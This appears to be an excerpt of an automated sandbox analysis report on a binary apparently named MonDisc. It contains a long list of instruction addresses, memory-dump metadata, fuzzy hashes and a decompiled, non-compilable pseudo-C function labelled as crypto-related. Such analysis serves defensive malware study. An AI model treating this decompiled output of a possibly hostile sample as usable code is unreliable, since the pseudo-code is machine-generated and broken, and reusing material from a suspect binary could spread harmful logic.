0x7ff6ed0f8724
0x7ff6ed0f872b
0x7ff6ed0f8736
0x7ff6ed0f873c
0x7ff6ed0f8742
0x7ff6ed0f8748
0x7ff6ed0f8750
0x7ff6ed0f8756
0x7ff6ed0f8759
0x7ff6ed0f8760
0x7ff6ed0f8769
0x7ff6ed0f8771
0x7ff6ed0f8773
0x7ff6ed0f8777
0x7ff6ed0f8779
0x7ff6ed0f8780
0x7ff6ed0f8786
0x7ff6ed0f878d
0x7ff6ed0f8796
0x7ff6ed0f879a
0x7ff6ed0f879e
0x7ff6ed0f87a2
0x7ff6ed0f87a4
0x7ff6ed0f87a6
0x7ff6ed0f87ad
0x7ff6ed0f87b6
0x7ff6ed0f87c3
0x7ff6ed0f87c7
0x7ff6ed0f87cb
0x7ff6ed0f87cf
0x7ff6ed0f87d5
0x7ff6ed0f87db
0x7ff6ed0f87e2
0x7ff6ed0f87ee
0x7ff6ed0f87f7
0x7ff6ed0f87fd
0x7ff6ed0f8800
0x7ff6ed0f8802
0x7ff6ed0f8809
0x7ff6ed0f8814
0x7ff6ed0f881a
0x7ff6ed0f8820
0x7ff6ed0f8825
0x7ff6ed0f882c
0x7ff6ed0f8835
0x7ff6ed0f8838
0x7ff6ed0f883a
0x7ff6ed0f8841
0x7ff6ed0f884a
0x7ff6ed0f884c
0x7ff6ed0f884e
0x7ff6ed0f8854
0x7ff6ed0f885b
0x7ff6ed0f8866
0x7ff6ed0f886b
0x7ff6ed0f8871
0x7ff6ed0f8878
0x7ff6ed0f8886
0x7ff6ed0f8888
0x7ff6ed0f888f
0x7ff6ed0f8898
0x7ff6ed0f889b
0x7ff6ed0f88a1
0x7ff6ed0f88a7
0x7ff6ed0f88ae
0x7ff6ed0f88b9
0x7ff6ed0f88bf
0x7ff6ed0f88c5
0x7ff6ed0f88ca
0x7ff6ed0f88d1
0x7ff6ed0f88da
0x7ff6ed0f88de
0x7ff6ed0f88e2
0x7ff6ed0f88e6
0x7ff6ed0f88e8
0x7ff6ed0f88ec
0x7ff6ed0f88f0
0x7ff6ed0f88f6
0x7ff6ed0f88f9
0x7ff6ed0f8900
0x7ff6ed0f8906
0x7ff6ed0f890d
0x7ff6ed0f8916
0x7ff6ed0f891a
0x7ff6ed0f891e
0x7ff6ed0f8926
0x7ff6ed0f8928
0x7ff6ed0f892c
0x7ff6ed0f892e
0x7ff6ed0f8936
0x7ff6ed0f8939
0x7ff6ed0f8940
0x7ff6ed0f8949
0x7ff6ed0f894d
0x7ff6ed0f8951
0x7ff6ed0f8958
0x7ff6ed0f8961
0x7ff6ed0f8967
0x7ff6ed0f896b
0x7ff6ed0f8972
0x7ff6ed0f897c
0x7ff6ed0f897f
0x7ff6ed0f8989
0x7ff6ed0f898d
0x7ff6ed0f899a
0x7ff6ed0f89a3
0x7ff6ed0f89ac
0x7ff6ed0f89b5
0x7ff6ed0f89b7
0x7ff6ed0f89c4
0x7ff6ed0f89ca
0x7ff6ed0f89cd
0x7ff6ed0f89cf
0x7ff6ed0f89d9
0x7ff6ed0f89e0
0x7ff6ed0f89ec
0x7ff6ed0f89f5
0x7ff6ed0f89fb
0x7ff6ed0f89fe
0x7ff6ed0f8a00
0x7ff6ed0f8a07
0x7ff6ed0f8a12
0x7ff6ed0f8a18
0x7ff6ed0f8a20
0x7ff6ed0f8a26
0x7ff6ed0f8a2c
0x7ff6ed0f8a33
0x7ff6ed0f8a3c
0x7ff6ed0f8a44
0x7ff6ed0f8a48
0x7ff6ed0f8a4c
0x7ff6ed0f8a50
0x7ff6ed0f8a52
0x7ff6ed0f8a59
0x7ff6ed0f8a62
0x7ff6ed0f8a68
0x7ff6ed0f8a6c
0x7ff6ed0f8a73
0x7ff6ed0f8a7b
0x7ff6ed0f8a83
0x7ff6ed0f8a8c
0x7ff6ed0f8a8e
0x7ff6ed0f8a91
0x7ff6ed0f8a94
0x7ff6ed0f8a9e
0x7ff6ed0f8aa1
0x7ff6ed0f8aab
0x7ff6ed0f8aad
0x7ff6ed0f8ab3
0x7ff6ed0f8ab6
0x7ff6ed0f8ab9
0x7ff6ed0f8abb
0x7ff6ed0f8abf
0x7ff6ed0f8ac1
0x7ff6ed0f8ac8
0x7ff6ed0f8ace
0x7ff6ed0f8ad8
0x7ff6ed0f8ae4
0x7ff6ed0f8ae6
0x7ff6ed0f8aed
0x7ff6ed0f8af3
0x7ff6ed0f8af7
0x7ff6ed0f8afe
0x7ff6ed0f8b04
0x7ff6ed0f8b10
0x7ff6ed0f8b19
0x7ff6ed0f8b1c
0x7ff6ed0f8b1e
0x7ff6ed0f8b25
0x7ff6ed0f8b2e
0x7ff6ed0f8b36
0x7ff6ed0f8b3a
0x7ff6ed0f8b3e
0x7ff6ed0f8b42
0x7ff6ed0f8b44
0x7ff6ed0f8b4b
0x7ff6ed0f8b54
0x7ff6ed0f8b5a
0x7ff6ed0f8b5e
0x7ff6ed0f8b65
0x7ff6ed0f8b6b
0x7ff6ed0f8b72
0x7ff6ed0f8b7d
0x7ff6ed0f8b83
0x7ff6ed0f8b89
0x7ff6ed0f8b8c
0x7ff6ed0f8b96
0x7ff6ed0f8b9f
0x7ff6ed0f8ba2
0x7ff6ed0f8ba4
0x7ff6ed0f8bae
0x7ff6ed0f8bbc
0x7ff6ed0f8bbe
0x7ff6ed0f8bc8
0x7ff6ed0f8bd1
0x7ff6ed0f8bd4
0x7ff6ed0f8bd6
0x7ff6ed0f8be0
0x7ff6ed0f8bf1
0x7ff6ed0f8bfb
0x7ff6ed0f8bfe
0x7ff6ed0f8c04
0x7ff6ed0f8c08
0x7ff6ed0f8c0c
0x7ff6ed0f8c12
0x7ff6ed0f8c1c
0x7ff6ed0f8c2a
0x7ff6ed0f8c2c
0x7ff6ed0f8c2e
0x7ff6ed0f8c38
0x7ff6ed0f8c48
0x7ff6ed0f8c4a
0x7ff6ed0f8c54
0x7ff6ed0f8c60
0x7ff6ed0f8c62
0x7ff6ed0f8c65
0x7ff6ed0f8c6f
0x7ff6ed0f8c72
0x7ff6ed0f8c78
0x7ff6ed0f8c7c
0x7ff6ed0f8c7e
0x7ff6ed0f8c88
0x7ff6ed0f8c93
0x7ff6ed0f8c99
0x7ff6ed0f8c9f
0x7ff6ed0f8cab
0x7ff6ed0f8cb5
0x7ff6ed0f8cbd
0x7ff6ed0f8cc3
0x7ff6ed0f8ccd
0x7ff6ed0f8cdb
0x7ff6ed0f8cdd
0x7ff6ed0f8cdf
0x7ff6ed0f8ce9
0x7ff6ed0f8cf4
0x7ff6ed0f8cf9
0x7ff6ed0f8cff
0x7ff6ed0f8d02
0x7ff6ed0f8d0c
0x7ff6ed0f8d15
0x7ff6ed0f8d18
0x7ff6ed0f8d1a
0x7ff6ed0f8d24
0x7ff6ed0f8d35
0x7ff6ed0f8d3f
0x7ff6ed0f8d42
0x7ff6ed0f8d48
0x7ff6ed0f8d4c
0x7ff6ed0f8d4e
0x7ff6ed0f8d54
0x7ff6ed0f8d5a
0x7ff6ed0f8d60
0x7ff6ed0f8d66
0x7ff6ed0f8d6c
0x7ff6ed0f8d72
0x7ff6ed0f8d7e
0x7ff6ed0f8d87
0x7ff6ed0f8d8a
0x7ff6ed0f8d8c
0x7ff6ed0f8d93
0x7ff6ed0f8d9e
0x7ff6ed0f8da4
0x7ff6ed0f8daa
0x7ff6ed0f8dac
0x7ff6ed0f8db2
0x7ff6ed0f8db9
0x7ff6ed0f8dc2
0x7ff6ed0f8dc4
0x7ff6ed0f8dc6
0x7ff6ed0f8dcd
0x7ff6ed0f8dd8
0x7ff6ed0f8ddd
0x7ff6ed0f8de3
0x7ff6ed0f8deb
0x7ff6ed0f8dee
0x7ff6ed0f8df5
0x7ff6ed0f8dfb
0x7ff6ed0f8e05
0x7ff6ed0f8e0e
0x7ff6ed0f8e12
0x7ff6ed0f8e16
0x7ff6ed0f8e1a
0x7ff6ed0f8e1c
0x7ff6ed0f8e1f
0x7ff6ed0f8e21
0x7ff6ed0f8e27
0x7ff6ed0f8e31
0x7ff6ed0f8e34
0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6ED0F8218

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: d8565618b221d0dbace0c3f3fd3bff6ef2fe4a319c6a6cbf516c01d990431181
Instruction ID: c44be4b13247e31a646a64461490cd226f9b5a9f0500ab0a236e14cdbbe9fa10
Opcode Fuzzy Hash: d8565618b221d0dbace0c3f3fd3bff6ef2fe4a319c6a6cbf516c01d990431181
Instruction Fuzzy Hash: 15625AA7E2C9034EF644AF30995A3F922956F25351F78063AD10ADB297FF3EB045810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F825C Relevance: 53.4, APIs: 35, Instructions: 856
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED0F825C(char _a144, long long _a152) {
				signed int _t111;
				signed int _t128;
				signed int _t140;
				signed int _t147;
				signed int _t152;
				signed int _t158;
				signed int _t163;
				signed int _t184;
				signed int _t190;
				signed int _t200;
				signed int _t217;
				signed int _t222;
				signed int _t234;
				signed int _t240;
				signed int _t257;
				signed int _t274;
				signed int _t279;
				signed int _t284;
				signed int _t308;
				signed int _t314;
				signed int _t319;
				signed int _t324;
				signed int _t329;
				signed int _t334;
				signed int _t339;
				signed int _t344;
				signed int _t380;
				signed int _t386;
				signed int _t410;
				signed int _t416;
				signed int _t433;
				signed int _t438;
				signed int _t443;
				signed int _t448;
				signed int _t453;
				signed int _t460;
				signed int _t465;
				signed int _t470;
				signed int _t477;
				signed int _t484;
				signed int _t489;
				signed int _t494;
				signed int _t499;
				signed int _t509;
				signed int _t514;
				signed int _t519;
				signed int _t524;
				signed int _t536;
				signed int _t546;
				signed int _t554;
				signed int _t561;
				signed int _t566;
				signed int _t569;
				signed int _t582;
				signed int _t587;
				signed int _t592;
				signed int _t605;
				signed int _t621;
				signed int _t626;
				signed int _t641;
				short _t647;
				signed int _t651;
				signed int _t656;
				signed int _t662;
				signed int _t667;
				signed int _t672;
				signed int _t677;
				signed int _t682;
				signed int _t688;
				signed int _t699;
				signed int _t705;
				signed int _t718;
				signed int _t723;
				signed int _t740;
				signed int _t769;
				signed int _t775;
				signed int _t780;
				signed int _t815;
				signed int _t821;
				signed int _t827;
				signed int _t833;
				signed int _t839;
				signed int _t846;
				signed int _t857;
				signed int _t869;
				signed int _t874;
				signed int _t879;
				signed int _t884;
				signed int _t915;
				signed int _t921;
				signed int _t928;
				signed int _t933;
				signed int _t941;
				signed int _t946;
				signed int _t983;
				signed int _t989;
				signed char _t1006;
				signed char _t1092;
				void* _t1131;
				signed int _t1148;
				signed int _t1152;
				signed int _t1157;
				void* _t1162;
				void* _t1163;
				signed int _t1165;
				void* _t1166;
				void* _t1170;
				void* _t1171;
				void* _t1173;
				void* _t1174;
				void* _t1175;
				void* _t1176;
				void* _t1177;
				void* _t1178;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				void* _t1185;
				void* _t1186;
				void* _t1187;
				void* _t1188;
				void* _t1189;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1200;
				void* _t1201;
				void* _t1202;
				void* _t1206;
				void* _t1208;
				void* _t1209;
				void* _t1212;
				void* _t1214;
				void* _t1215;
				void* _t1216;
				void* _t1217;
				void* _t1219;
				void* _t1221;
				void* _t1222;
				void* _t1225;
				void* _t1226;
				void* _t1227;
				void* _t1228;
				void* _t1229;
				void* _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1234;
				void* _t1235;
				void* _t1236;
				void* _t1238;
				void* _t1239;
				void* _t1242;
				void* _t1245;
				void* _t1246;
				void* _t1247;
				void* _t1249;
				void* _t1252;
				void* _t1254;
				void* _t1255;
				void* _t1256;
				void* _t1258;
				void* _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1265;
				void* _t1266;
				void* _t1267;
				void* _t1268;
				void* _t1269;
				void* _t1270;
				void* _t1272;
				void* _t1273;
				void* _t1275;
				void* _t1280;
				void* _t1281;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1286;
				void* _t1288;
				void* _t1290;
				void* _t1291;
				void* _t1292;
				void* _t1294;
				void* _t1295;
				void* _t1297;
				void* _t1298;
				void* _t1299;
				void* _t1300;
				void* _t1302;
				void* _t1303;
				void* _t1305;
				void* _t1307;
				void* _t1308;
				void* _t1309;
				void* _t1310;
				void* _t1311;
				void* _t1312;
				long long _t1315;
				void* _t1316;
				void* _t1317;
				void* _t1322;
				void* _t1327;
				void* _t1328;
				void* _t1329;
				void* _t1331;
				void* _t1332;
				void* _t1333;
				void* _t1334;
				void* _t1335;
				void* _t1336;

				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t111 = E00007FF67FF6ED184484(_t1315);
				if (_t1162 >= 0) goto 0xed0f8278;
				_t1163 = ((_t111 & _t1152) - _t989 | _t1157) + _t989 - 0x1a;
				if (_t1163 == 0) goto 0xed0f8256;
				 *0xed236f60 = _t989;
				dil = 0x44;
				E00007FF67FF6ED184484(_t1315);
				if (_t1163 >= 0) goto 0xed0f8295;
				asm("movsd xmm6, [0x1118e3]");
				goto 0xed0f82ce;
				if (dil - bpl >= 0) goto 0xed0f82dc;
				GetParent();
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1165 = E00007FF67FF6ED184484(_t1315) & _t1152;
				if (_t1165 >= 0) goto 0xed0f82ce;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
